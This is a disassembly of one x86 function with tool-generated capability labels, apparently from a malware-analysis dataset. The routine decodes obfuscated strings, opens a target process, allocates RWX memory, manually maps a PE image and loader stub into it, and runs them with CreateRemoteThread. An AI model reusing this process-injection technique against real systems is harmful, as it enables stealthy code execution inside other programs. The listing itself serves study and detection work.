Function at 0x4017a0
Capabilities:
Check if file exists
Execute shellcode via indirect call
Inject thread
Set console window title
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4158d9
mov eax, dword fs:[0]
push eax
sub esp, 0x160
mov eax, dword [0x41b5d8]
xor eax, esp
mov dword [esp + 0x158], eax
push ebx
push esi
push edi
mov eax, dword [0x41b5d8]
xor eax, esp
push eax
lea eax, [esp + 0x170]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0xaa
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x4185c4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1d], dl
jns 0x40180d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x20
jl 0x4017f0
lea eax, [esp + 0x1d]
push eax
mov byte [esp + 0x41], bl
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edi, 0x5fef3cb2
lea esi, [esp + 0x8c]
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x45
mov byte [esp + 0x12], 0x41
mov byte [esp + 0x13], 0x50
mov byte [esp + 0x14], bl
call fcn.00402610
push ebx
lea ecx, [esp + 0x14]
push ecx
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x7d
xor eax, eax
mov dl, byte [eax + 0x4186a8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x40187d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x401860
mov byte [esp + 0x1c], bl
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x150]
push ecx
mov dword [esp + 0x180], ebx
call fcn.004015d0
add esp, 8
mov byte [esp + 0x178], 2
cmp dword [esp + 0x160], ebx
je 0x401bcc
cmp dword [esp + 0x164], 0x10
mov eax, dword [esp + 0x150]
jae 0x4018d0
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401bcc
mov edi, str.__tdc8Xo
sub edi, 0x77602b1d
lea esi, [esp + 0x3e]
call fcn.00402690
push eax
call fcn.00404fcd
add esp, 4
lea esp, [esp]
mov ecx, 0x7d
xor eax, eax
mov dl, byte [eax + 0x4186a8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x401924
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x401907
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x20], bl
call fcn.00401440
xor ecx, ecx
add esp, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], cl
cmp eax, ebx
je 0x401900
mov ecx, dword [0x41c384]
lea edx, [ecx + 0x41c348]
mov edi, 0x4186a8
sub edi, 0x7245b3c3
lea esi, [esp + 0x10]
mov dword [0x425080], 0x41c348
mov dword [0x425070], edx
call fcn.00402650
mov edi, eax
call fcn.00401530
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [0x425070]
mov edx, dword [ecx + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push edx
push ebx
push eax
mov dword [0x425074], eax
call edi
mov ecx, dword [0x425070]
mov edx, dword [ecx + 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push edx
push 0x41c348
push eax
mov dword [0x42508c], eax
mov eax, dword [0x425074]
push eax
call esi
mov ecx, dword [0x425070]
lea edx, [ecx + 0xf8]
mov dword [0x425078], edx
xor eax, eax
xor edx, edx
mov dword [0x425084], eax
cmp dx, word [ecx + 6]
jae 0x401a41
mov ecx, dword [0x425078]
lea eax, [eax + eax*4]
mov edx, dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
push ebx
push edx
mov edx, dword [eax + 0xc]
add edx, dword [0x42508c]
mov eax, dword [0x425074]
add ecx, 0x41c348
push ecx
push edx
push eax
call esi
mov ecx, dword [0x425070]
mov eax, dword [0x425084]
movzx edx, word [ecx + 6]
inc eax
mov dword [0x425084], eax
cmp eax, edx
jb 0x4019fa
mov eax, dword [0x425074]
push 0x40
push 0x3000
push 0x1000
push ebx
push eax
call edi
mov edx, dword [0x425080]
xor ecx, ecx
mov dword [0x425054], ecx
mov dword [0x425058], ecx
mov dword [0x42505c], ecx
mov dword [0x425060], ecx
mov dword [0x425064], ecx
mov dword [0x425068], ecx
mov ecx, dword [0x42508c]
mov dword [0x425054], ecx
mov edx, dword [edx + 0x3c]
add edx, ecx
mov dword [0x425058], edx
mov edx, dword [0x425070]
mov edi, dword [edx + 0xa0]
push ebx
add edi, ecx
push 0x18
mov dword [0x42505c], edi
mov edx, dword [edx + 0x80]
add edx, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x425054
push eax
mov dword [0x42506c], eax
mov eax, dword [0x425074]
mov dword [0x425060], edx
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
mov dword [0x425064], ecx
mov dword [0x425068], edx
call esi
mov edx, dword [0x42506c]
mov eax, dword [0x425074]
push ebx
mov ecx, 0x401430
sub ecx, 0x401320
push ecx
push 0x401320
add edx, 0x18
push edx
push eax
call esi
lea ecx, [esp + 0x10]
push ecx
mov byte [esp + 0x14], 0x63
mov byte [esp + 0x15], 0x6c
mov byte [esp + 0x16], 0x73
mov byte [esp + 0x17], bl
call fcn.00404fcd
add esp, 4
mov edi, 0x4261687
lea esi, [esp + 0x10]
call fcn.004026d0
push eax
mov byte [esp + 0x17c], 3
call fcn.00402710
mov edx, dword [0x425074]
add esp, 4
xor eax, eax
push ebx
push ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov byte [esp + 0x24], al
mov eax, dword [0x42506c]
push eax
add eax, 0x18
push eax
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [0x425088], eax
mov ecx, 0x4c397e70
lea eax, [esp + 0x10]
call fcn.00402950
push eax
mov byte [esp + 0x17c], 4
call fcn.00402710
xor eax, eax
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov word [esp + 0x18], ax
mov eax, dword [0x425088]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x425088]
push 0x42507c
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]